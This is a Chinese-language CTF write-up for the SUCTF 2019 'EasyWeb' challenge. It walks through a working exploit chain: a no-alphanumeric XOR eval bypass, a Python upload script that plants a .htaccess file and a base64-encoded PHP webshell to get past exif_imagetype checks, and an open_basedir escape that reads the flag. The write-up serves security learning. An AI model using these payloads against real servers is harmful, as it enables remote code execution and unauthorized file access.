[SUCTF 2019]EasyWeb

又是一道毁天灭地的题 每天都觉得自己学废了:(

知识点

绕过无字符正则表达式

文件上传的奇淫技巧

审计

题目开门见山的给了源码 一杯茶一包烟 一道审计审一天

P.S.题目拿到手的审计顺序按理来说是从上到下 但是以现在复盘的角度 可以从下到上审

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

两部分 上部分是对上传文件从后缀到内容的过滤 内容里过滤了”<?” 而且如果做到后面会发现这题php版本是7.几 意味着”<script”这个头也用不了了 并且还用了exif_imagetype这个函数来判断文件类型 然后下部分就是正则过滤所有数字字母 还有一些符号 以及长度限制 反正一眼看上去就不想做这题了

绕过无字符正则

表面上很扯淡 觉得这怎么绕 但是那个男人—P神想到了一个方法 这边贴上P神 原理是通过异或以及其他方法 通过不可见字符之间的运算凑出可打印字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$l = "";
$r = "";
$argv = str_split("_GET");
for($i=0;$i<count($argv);$i++)
{
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(255);
if($k == $argv[$i]){
if($j<16){
$l .= "%ff";
$r .= "%0" . dechex($j);
continue;
}
$l .= "%ff";
$r .= "%" . dechex($j);
continue;
}
}
}
echo "\{$l^$r}";

这个脚本可以帮你凑出你要的字符 修改一下$argv = str_split(“_GET”);这一行就行了 我们的思路是要调用那个get_the_flag函数 不然没有办法上传文件 这题理论上可以凑get请求也可以凑post请求 但是我这边只凑成了get请求 不知道post怎么回事

相信某些同学不知道中括号被过滤之后 GET请求怎么发(是我了) GET请求还有另一种形式 {GET}{参数}();&参数=xxx 于是这样就发上了GET

payload:

1
http://abb46410-4803-4f0c-807c-92bb892fe021.node3.buuoj.cn/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag

测试的时候可以把get_the_flag改成phpinfo测试一下回显 因为get_the_flag回显为空

Exif_imagetype()绕过

首先他没有上传按钮 他没有上传按钮 他没有上传按钮 所以得用脚本上传 这边先贴上脚本(抄来的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import base64

url = 'http://abb46410-4803-4f0c-807c-92bb892fe021.node3.buuoj.cn/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag'
htaccess='''#define width 1337
#define height 1337

AddType application/x-httpd-php .ha
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_ee809ecb8703e9e1f186ee49477f091a/shell.ha"'''

files = {
'file' : ('.htaccess',htaccess,'image/jpeg'),
}

res = requests.post(url=url,files=files)

print(res.text)
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_POST['shell']);?>")

#shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_POST['shell']);?>")

files2 = {
'file' : ('shell.ha',shell,'image/jpeg'),
}

res = requests.post(url=url,files=files2)
print(res.text)

如果直接上传htaccess 不加上那俩注释的话 过不去 这个函数可以用两个办法 一个是加上GIF89A的头 这个在upload题经常见 还有一个就是预定义宽高 预定义宽高就是htaccess那边的俩define GIF89a头绕过就是后面马那边 并且马用了base64加密了一下 不然过不去 然后就是这句

1
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_ee809ecb8703e9e1f186ee49477f091a/shell.ha

如果这句话不加上 那么马执行不了 可能是因为马是base64加密状态 但是这句话的意思就是在页面上加载文件 然后用filiter协议包含这个文件 实在是高 称得上是奇淫技巧(? 然后可以蚁剑链接一下给你的目录 成功连接上

还 没 完

想着高高兴兴拿flag完事的 但是发现flag没权限读 去了当时测试马的phpinfo那边看了一眼 发现他是用open_basedir限制了你的目录 于是我们要绕过 贴上payload

1
2
3
4
5
6
7
8
9
10
11
ini_set("open_basedir","/tmp/:/var/www/html/");
mkdir("sub");
chdir("sub");
ini_set("open_basedir","..");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
ini_set("open_basedir","/");
var_dump(file_get_contents("/THis_Is_tHe_F14g"));

P.S.只是为了更好看 其实不用换行 修改最后那句话就可以了 具体的原理目前我也还搞不明白 在看这篇文章 当然如果还是不懂的话 蚁剑有个插件能绕过disable_function 能直接读到flag

1
flag{e8ed451a-37c8-4965-8d1d-022bcc3bd1df}

太难了 已经不想写总结了 呜呜呜

EOF